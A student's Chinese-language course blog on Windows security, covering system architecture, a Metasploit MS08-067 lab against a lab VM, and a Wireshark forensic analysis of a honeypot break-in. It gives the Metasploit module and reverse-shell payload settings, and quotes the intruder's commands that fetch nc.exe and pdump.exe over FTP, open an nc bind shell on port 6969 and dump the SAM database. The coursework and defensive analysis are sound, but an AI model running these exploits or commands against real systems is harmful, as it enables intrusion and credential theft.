20199105 2019-2020-2 《网络攻防实践》 第七周作业

这个作业属于哪个课程 :网络攻防实践

这个作业的要求在哪里 : 第七次作业-Windows操作系统安全攻防

我在这个课程的目标是 : 学习网络攻防相关技术并进行实践

这个作业在哪个具体方面帮助我实现目标:学习Windows操作系统基本结构、安全体系结构、远程安全攻防技术、本地安全攻防技术

一、实验内容

 


本章学习内容总结:

  • Windows操作系统的基本结构框架

  • Windows操作系统内核中实现的核心机制
    (进程和线程管理机制、文件管理机制、注册表管理机制、网络机制)

  • Windows操作系统的安全体系结构与机制

  • Windows远程安全攻防技术和本地攻防技术

  • Metasploit基础知识


 

1.1 Windows操作系统的基本结构


 

Windows操作系统基本结构 = 运行于处理器特权模式(ring0)的操作系统内核 + 运行在处理器非特权模式(ring3)的用户空间代码

 

1.1.1 Windows操作系统在用户态的代码模块包括:

 

  • 系统支持进程:Windows开机自动启动的系统内建服务进程,如用于登录认证的logon进程

  • 环境子系统服务进程:为操作系统运行环境提供支持的服务进程

  • 服务进程:通过Windows的服务管理机制所启动的一 系列系统及网络服务

  • 用户应用软件:在用户态执行的各类用户应用软件

  • 核心子系统DLL:dll动态连接库文件,作为用户态服务进程与应用软件和操作系统内核的交互接口

 

1.1.2 Windows操作系统内核的基本模块包括:

  • Windows执行体:包含基本的操作系统内核服务,如进程与线程管理、内存管理、I/O管理、网络连接、进程间通信,以及安全服务

  • Windows内核体:实现底层操作系统功能,如线程调度、中断和异常分发处理、多处理器同步机制

  • 设备驱动程序:将用户I/O操作映射为硬件设备I/O请求的驱动程序&文件系统与网络设备驱动程序

  • 硬件抽象层:即hall.dll,用于屏蔽Windows内核与平台硬件差异性的底层代码

  • WindowsGUI内核实现代码:即win32k.sys文件

 

1.1.3 Windows操作系统内核中实现的核心机制

 

windows进程和线程管理机制

进程(Process) 定义了一个执行环境,包括它自己私有的地址空间、一个句柄表,安全访问令牌(记录进程ID/父进程ID),并至少包含一个线程

线程(thread) 则是一个控制流,有自己的调用栈(call stack),一个标准的线程由线程ID,当前指令指针,寄存器集合和堆栈组成

Windows文件管理机制

Windows大多使用NTFS文件系统

windows 使用PE格式的可执行文件,主要由DoS头、PE头、分段表、以及具体的代码段和数据段等组成

Windows注册表管理机制

Windows系统注册表在作为系统全局配置、 用户和应用软件配置信息的存储仓库,几乎每个操作都伴随着从注册表中读取、修改配置信息的操作

Windows的网络机制

Windows网络组件包括:

① 各种网卡硬件的设备驱动程序,一般由第三方硬件厂商开发并提供,对应OSl参考模型的物理层

② NDIS库及miniport驱动程序,对应OSI链路层,为各种不同的网卡适配器驱动程序和TDI传输层之间构建了一个封装接口

③ TDI传输层,对应OSl参考模型的网络层与传输层,实现多种协议栈

④ 网络API DLL及TDI客户端,对应OSl会话层和表示层,提供了独立于具体协议提供网络交互和实现方式

⑤ 网络应用程序与服务进程,对应OSl应用层

 

1.2 Windows操作系统的安全体系结构与机制


 

1.2.1 windows安全体系结构

  • windows的安全体系结构基于引用监控器模型实现基本的对象安全模型,其最核心的是位于内核的SRM安全引用监视器,以及位于用户态的LSASS安全服务,并与winlogin、eventlog等相关服务一起实现身份认证机制、资源对象访问控制机制

  • 安全引用监视器(SRM) :这是Windows执行体中的一个组件,它负责:

  1. 定义访问令牌数据结构(来表示一个安全环境)
  2. 执行对象的安全访问检查
  3. 管理特权(用户权限)
  4. 生成所有结果的安全审计消息

 

1.2.2 windows身份认证机制

  • Windows操作系统的安全主体:用户、用户组、计算机

  • 身份通过一个唯一的SID安全符进行标识,并为每个用户与计算机设置账户以进行资源访问权限的管理

  • windows的用户账户的口令通过加密处理之后被保存于SAM或者活动目录AD中

 

1.2.3 windows授权与访问控制机制

  • Windows的授权与访问控制机制是基于引用监控器模型,由内核中的 SRM模块与用户态的LSASS服务共同来实施, 由SRM作为安全主体访间对象资源时的中介,根据设定的访问控制列表进行授权访问

  • 在用户等安全主体经过认证后,Windows系统会赋予用户一个访问令牌

  • Windows对于系统中所有需保护的资源都抽象成对象,每个对象会关联一个SD安全描述符,由如下主要属性组成:
     
    Owner SID:对象所有者的SID安全标识符
     
    Group SID: 对象所在基本用户组的SID安全标识符(兼容POSIX使用)
     
    DACL自主访问控制列表:指明了哪些安全中体可以何种方式来访间该对象
     
    SACL系统审计访问控制列表:指明了由哪些中体发起的哪些访问操作需要被审计

 

1.2.4 windows安全审计机制

  • 系统审计策略在本地安全策略中由系统管理员来定义,来确定系统对哪些事件进行记录

  • 三个基本安全功能特性:身份认证、授权与访问控制及安全审计

  • 其他安全机制:Windows安全中心、IPsec加密与验证机制、EFS加密文件系统等

 

1.3 Windows远程安全攻防技术


 

windows远程安全攻防的分类

① 远程口令猜测与破解攻击

  • 远程口令猜测攻击:SMB协议
    Windows通过基于服务器消息块SMB协议承载的文件与打印机共享服务来为网络用户提供远程访问文件系统和打印机的支持。SMB协议在授权时,会先对拥挤进行身份验证,用户需输入正确的口令,攻击者根据口令提示发起攻击

  • 第二种实施远程口令字攻击的经典技术是窃听网络上的口令字交换通信实施破解
    Windows的在不同版本在进行网络身份认证时,使用了LanMan、NTLM和Kerberos三种认证协议

  • 防御措施:

  1. 尽量关闭不必要的易受远程口令猜测攻击网络服务

  2. 配置主机防火墙来限制对端口服务

  3. 利用网络防火墙限制这些服务的访问

  4. 禁用存在本质缺陷的LanMan与NTLM,仅使用经过安全加固NTLMv2与Kerberos认证协议

  5. 对于安全级别较高的Windows系统服务器等主机,管理员可以制定和实施强口令字策略及设定账户锁定阈值

② windows网络服务远程渗透攻击

  • 主要针对Windows系统默认开放的诸如135(TCP)、137(UDP)等端口进行渗透,对应NetBios网络服务、SMB网络服务、MSRPC网络服务,进行攻击,还有针对微软网络服务及第三方网络服务进行远程攻击

  • 防范措施:

  1. 从软件设计根源上尽可能减少漏洞出现

  2. 管理员尽可能快的更新与应用软件安全补丁

  3. 在“零日”漏洞时间管理员应作出相应的防范

  4. 利用服务厂商及社区中的安全核对清单对服务进行配置并利用一些安全增强插件来加固所部署的网络服务

  5. 通过漏洞扫描软件来标识网络中已经存在的安全漏洞并及时修补,启用入侵检测机制,建立有效的事件应急相应计划

③ 攻击windows客户端及用户

 

1.4 Windows本地安全攻防技术


 

利用之前的技术获得Windows系统的访问权后,攻击者下一步就是要破解本低程序安全漏洞,以获得完整的访问权,并试图长期控制。接下来的攻击主要包括本地特权提升、敏感信息窃取、消踪灭迹、远程控制与后门程序

windows本地特权提升

  • 提权主要利用DLL注入和破解本地程序安全漏洞实现,工具有GetAdmin及Metasploi,常见三种手段有溢出提权、windows错误系统配置、计划任务提权

  • 防范措施:及时打补丁

windows敏感信息窃取

  • 敏感信息获取主要包括系统口令字密文提取、系统口令字破解及用户敏感数据窃取,便于攻击者贡献局域网中更多的系统

  • Windows系统中具体包括windows系统口令字密文提取技术、windows系统口令字破解技术、用户敏感信息窃取等手段

  • 防范措施:使用安全度高、能抵挡破解的口令(较难实现)、利用生物特征信息代替口令

windows消灭踪迹

  • 消踪灭迹主要包括关闭审计功能和清理事件日志主志

  • 防范措施:事先配置好系统审计和网络服务审计功能,日志设置为不可擦或传输到安全服务器中

远程控制与后门

  • 远程控制与后门程序可通过各种现成的黑客工具利用命令行或是图形化界面实现,通过植入第三方的远程控制与后门程序,主要分为命令行远程控制工具、图形化远程控制工具两大类

  • 防范措施:后门检测软件

 

1.5 Metasploit基础知识


 

Metasploit是一个渗透测试软件,可查找、利用和验证漏洞。MSF库是整个软件的核心,为渗透测试组件的开发与测试提供平台,而其中的模块组件是实施渗透攻击的代码

Metasploit的基本结构如图所示

Metasploit目前总共有以下几种模块:

  1. Auxiliary:进行扫描、查点等辅助任务

  2. Encoders:对攻击负载进行编码以躲避检测

  3. Nops:空指令,对攻击负载进行填充

  4. Exploits:利用安全漏洞

  5. Payloads:在目标系统上植入和运行的Shellcode攻击负载

  6. Post:后期开发(大致意思是攻破主机后需要用上的模块)

常用命令总结

命令 含义 命令 含义
help 菜单 connect 与主机通信
info 显示有关一个或多个模块的信息 route 通过会话路由流量
irb 进入irb脚本模式 search 搜索模块名称和说明
jobs 显示和管理工作 sessions 转储会话列表并显示有关会话的信息
kill 杀死一份工作 show 显示给定类型的模块或所有模块
load 加载一个框架插件 use 按名称选择模块

 

二、实验过程


作业一:动手实践Metasploit Windows Attack

任务:使用Metasploit软件进行Windows远程渗透攻击实验;使用Windows Attacker/BT4攻击机尝试对Windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机访问权。

  • 在kali中以 msfconsole 命令打开metasploit控制台终端

  • 先使用 search 命令搜索要使用的ms08_067渗透攻击模块,使用use exploit/windows/smb/ms08_067_netapi命令使用ms08_067

  • 使用 show payloads 命令可以查看所有适用的负载模块

  • 选择第3个负载模块,使用 set PAYLOAD generic/shell_reverse_tcp 命令

  • 使用 set RHOST 192.168.1.110 命令设置,使用 set LHOST 192.168.1.108 命令设置,使用 set target 0 命令选择渗透攻击模块的目标操作系统平台类型

  • 使用 show options 命令查看参数设置

  • 使用exploit命令开始实施渗透攻击,一开始攻击失败,显示未连接

  • 折腾了一个多小时的IP地址,找原因(这部分在最后问题中记录了,心力憔悴/(ㄒoㄒ)/~~ )最后终于成功了。可以进入目标主机终端,这里以ipconfig查询为例

  • 使用exit -y命令可以退出msfconsole

 

MS08-067漏洞全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,将会影响除Windows Server 2008 Core以外的所有Windows系统

如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码,漏洞可能用于进行蠕虫攻击。 防火墙最佳做法和标准的默认防火墙配置有助于保护网络资源免受从企业外部发起的攻击

可在CVE官网——CVE-2008-4250找到相关信息

  • MS08-067漏洞实验分析:
  1. 我们利用了Metasploit提供的MS08-067漏洞攻击模块,向目标主机发送payload(在目标系统上植入和运行的shellcode攻击负载),使目标交出shell,反弹到攻击机的4444端口

  2. 当使用exploit攻击时,两个主机先建立TCP连接,再建立SMB会话。MS08-067利用SMB通道调用Server服务程序中的NetPathCanonicalize函数触发漏洞。函数在远程访问其他主机时,对远程访问的路径进行规范化,攻击机通过修改路径获取执行代码的权限。

 


 

作业二:取证分析实践:解码一次成功的NT系统破解攻击

任务:来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名为lab.wiretrip.net),这是一次典型的NT系统攻击。

  • 攻击者使用了什么破解工具进行攻击?
  • 攻击者如何使用这个破解工具进入并控制了系统?
  • 攻击者获得系统访问权限后做了什么?
  • 我们如何防止这样的攻击?
  • 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?

 

在wireshark中打开老师提供的log日志文件,根据题目筛选出攻击者与目标主机间的数据包,使用ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106命令过滤

Step1:分析攻击类型

  • 可以看到攻击机与目标主机在TCP“三次握手”后建立了连接,攻击机一直向目标主机发送http get请求获取资源,一开始get的内容是一些gif图片,第76行,出现了default.asp文件,上网搜了一下

asp文件是微软的在服务器端运行的动态网页文件,通过IIS解析执行后可以得到动态页面

IIS解析漏洞:在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被 IIS 当作 asp 文件来解析并执行

  • 或许存在IIS解析漏洞攻击?再往下看,到第117行,在default.asp文件后出现了“%c0%af”字符串

Unicode用"%2f"和"%5c"分别代表"/"和""字符,但也可用"超长"序列来代替这些字符。"超长"序列是非法的Unicode表示符,如用"%c0%af"代表"/"字符。由于IIS不对超长序列进行检查,因此在URL中添加超长的Unicode序列后,可绕过微软的安全检查,如在一个标记为可执行的文件夹发出该请求,攻击者即可在服务器上运行可执行文件

  • 因此可以确定,这里存在Unicode编码攻击,文件目录最后有一个boot.ini文件,攻击机就是通过超长Unicode序列,绕过系统对文件后缀安全检查,从而获得了boot.ini文件权限。

Windows NT系统通过boot.ini文件来确定计算机在重启(引导)过程中显示的可供选取的操作系统类别,通常被标识为只读文件

  • 继续,(这里我又添加了http协议的过滤),在130行发现连续三个带有msadcs的数据包,在这篇Windows系统漏洞学习总结文章中学习到,这里应该是MSADCS RDS弱点漏洞

此漏洞是因windows NT 系统中的组件MDAC包含的RDS功能引起。RDS是Microsoft提供给使用者远程访问数据库的服务,它能够让使用者透过ODBC远程存取/查询服务器数据库中的数据信息,而在IIS服务器中,使用者可以通过msadcs.dll文件实现RDS服务

Step2:确定了漏洞攻击类型,开始分析攻击者使用了什么攻击工具

  • 可以发现后面很长一段数据包都是以GET msadc/msadcs.dll和POST msadc/msadcs.dllAdvancedDataFactory.Query为一组不断重复。我想到之前实验中可以对数据包进行追踪流

  • 后者的http流中每条都出现了ADM!ROX!YOUR!WORLD,还有dbq=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb,通过上网查询,我了解到这次攻击应是由rain forest puppy 编写的 msadc(2).pl渗透攻击代码所发起的

Step3:最后,来分析一下攻击者都做了些什么

  • 在HTTP流中可以看到一些在shell中的操作,查询了几个数据包的http流后,得到了以下命令(部分)
shell (“cmd /c echo werd >> c : f u n ” ) 

shell ( “cmd /c echo user johna2k > ftpcom” ) 

shell ( “cmd /c echo hacker 2000 >> ftpcom” ) 

shell ( “cmd /c echo get pdump.exe >> ftpcom” ) 

shell ( “cmd /c echo get nc.exe>>ftpcom” ) 

shell ( “cmd /c echo quit>>ftpcom” ) 
  • 发现这些命令都和FTP有关系,在wireshark中可以看到,在大量有关msadc的数据包后面,有好几段FTP协议的数据包,经过前几条shell命令和数据包比对后,我发现他们似乎是对应的

  • 现在可以直接分析FTP协议数据包来看攻击者都做了什么

  • 这里追踪TCP流可以看到,攻击者使用用户名密码登录FTP服务,一开始尝试了两次,但密码错误 login incorrect

  • 第三次成功后,使用了RETR命令下载了nc.exe、pdump.exe、samdump.dll三个攻击工具,然后退出

nc.exe似乎是常说的“瑞士军刀”,慕课中有提到过,是在命令行下使用的网络监听工具

pdump.exe用于破解windows的用户密码

  • 然后又登录了一次,使用STOR命令上传文件whisker.tar.gz

  • 但是这里发现,要具体知道攻击者的操作,还是要看终端命令,于是根据FTP捋出的大概框架,继续分析。这里我在大量FTP-DATA数据包后再次找到了msadcs相关数据包

  • 查看TCP流追踪,发现命令cmd1.exe /c nc -l -p 6969 -e cmd1.exe,应该是攻击机使用nc通过6969端口获得了蜜罐主机(远程)访问权,绑定shell终端

  • 使用tcp.port == 6969命令筛选获得访问权后的数据包,查询TCP流,可以看到攻击者都进行了哪些操作。攻击者一开始使用type命令试图打开yay.txt、yay2.txt,但是都失败了。然后使用del命令想要删除文件,好像成功了一次,其他均失败

  • 接下来又进入program files晃了一圈,好像也没啥收获。使用net groupnet localgroup查询计算机上的全局组和本地组;net localgroup administrators查看管理员组。这里猜测攻击机试图将自己添加到管理员组中,来实现提升自己访问权限,显然失败了

  • 最后攻击者使用了rdisk -s命令,和type sam._,这里我猜测攻击者是想用rdisk备份关键系统信息,在%systemroot%\repair 目录中就会创建一个名为 sam._的SAM压缩拷贝

SAM数据库是windows存储用户相关信息的,包含所有组、账户的信息,包括密码HASH、账户的SID等

  • 经过了一系列探索,攻击者把攻击工具删除了,销毁“到此一游”的证据

  • 攻击者在6969端口好像没有获得什么,于是换了一个端口6968,过程和刚才差不多

  • 攻击者进入了C:\Inetpub\wwwroot目录下,这个目录是IIS的根目录,一般存放站点文件。攻击者进入后将har.txt文件拷贝,然后又删除了

  • 但是攻击者使用dir查看目录后,里面还是有这个文件??

  • 攻击者还查看了CSIRCSEQ.c文件,但是这里并未百度到合适的学习资料...

  • 然后攻击者查看各个盘,发现都不存在,就退出了

我们如何防止这样的攻击?

  • Unicode漏洞防御措施:

(1)为避免该类攻击,建议下载最新补丁

(2)安装IIS Lockdown和URL Scan来加固系统,从而避免该类攻击

(3)安装Windows 2000的Service Pack 2以上的版本

  • MSADCS RDS弱点漏洞防御措施:

移除或删除系统内/msadc目录,同时移除c:\Program Files\Common Files\System\Msadc\msadcs.dll,或安装MDAC 2.1 SP2补丁(下载网址为),并注意及时上网更新

 

你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?

我认为攻击者知道他的目标是一台蜜罐主机,因为在TCP流中攻击者输入了输入了如下内容 C:>echo best honeypot i've seen till now 😃 > rfp.txt.

 


 

作业三:团队对抗实践:Windows系统远程渗透攻击与分析

任务:攻击方:使用metasploit,选择metasploitable中的漏洞进行渗透攻击,获得控制权;

防御方:使用tcpdump/wireshark/snort监听获得网络攻击的数据包文件,并结合wireshark/snort分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、攻击使用shellcode,以及攻击成功之后在本地执行的命令输入等信息。

  • 重复第一个实验,在exploit发起攻击时,打开wireshark进行抓包

获得信息:攻击机IP地址为192.168.1.110,目标IP地址为192.168.1.108,端口分别为1052和139

攻击时间,找到两个主机通信的第一条ARP数据包,可以看到时间

  • 攻击过程:exploit先建立了TCP连接,然后进行SMB空会话连接。构建恶意路径,先初始化一些变量,填补字符串pad、服务器名称server以及前缀prefix、路径path。函数使用rop技术构建shellcode,将payload进行编码之后,构造之前分析的unicode漏洞的相对路径"....",然后填充字符串

(上述攻击过程分析完全是百度学来的)

  • 然后我回想起发起攻击前的设置,使用ms08_067时查看到exploit/windows/smb/ms08_067_netapi的路径,这里ms08_067在smb文件夹下,而在wireshark中也不捕获到了一些SMB数据包

 

三、学习中遇到的问题及解决


 

问题1:第一次使用exploit命令进行攻击失败,显示未连接

第一,确定 Kali 渗透机能否 ping 通目标主机。发现kali可以ping通目标主机,但是目标主机不能ping通kali

第二,检查目标主机是否开启了 445 端口服务,在服务中可以看到各项端口对应的服务是否开启,发现开启了

一开始目标主机为host-only模式,我将它切换为桥接模式(因为前面实验kali在桥接模式,这样很方便),我给目标主机配置新的IP地址(或许这就是我给自己挖的坑)

此时kali和目标主机均为桥接模式,按理说在同一局域网内可以ping通,现实是只能单方面ping通。于是检查了服务接口都没啥问题,而目标主机因为版本低,没有防火墙一说。后来发现,我IP的地址配置的不太合适,冲突了!但是我也不知道和哪个冲突了,使用过的所有主机IP都没重复啊 /(ㄒoㄒ)/~~ 只好重新配置,局域网里之前实验用过的主机IP都自动更新了一波,然后问题就解决了

 

四、学习感想和体会


 

这一章的实践部分并不多,但是由于之前实验的设置,还有我自己折腾虚拟机IP地址的疏忽,在两个主机连通上浪费了很多时间

取证分析部分是难点,要从大量数据包中找到有价值的信息,参考了许多资料还有同学们的建议与经验。写完博客发现同学们的分析点和方法都各有特点,上课时候可以学习一下别人的分析过程,查补自己没发现的吧(因为感觉这部分知识点很细碎)。

 

参考资料:

  1. 玩转Metasploit系列(第一集)

  2. metasploit渗透测试

  3. 百科—Unicode漏洞

  4. [百科—boot.ini] (https://baike.so.com/doc/2698889-2849608.html)

  5. Windows系统漏洞学习总结

  6. DOS命令之net use命令详细解释

posted @ 2020-04-15 20:49  FLwww  阅读(492)  评论(0)    收藏  举报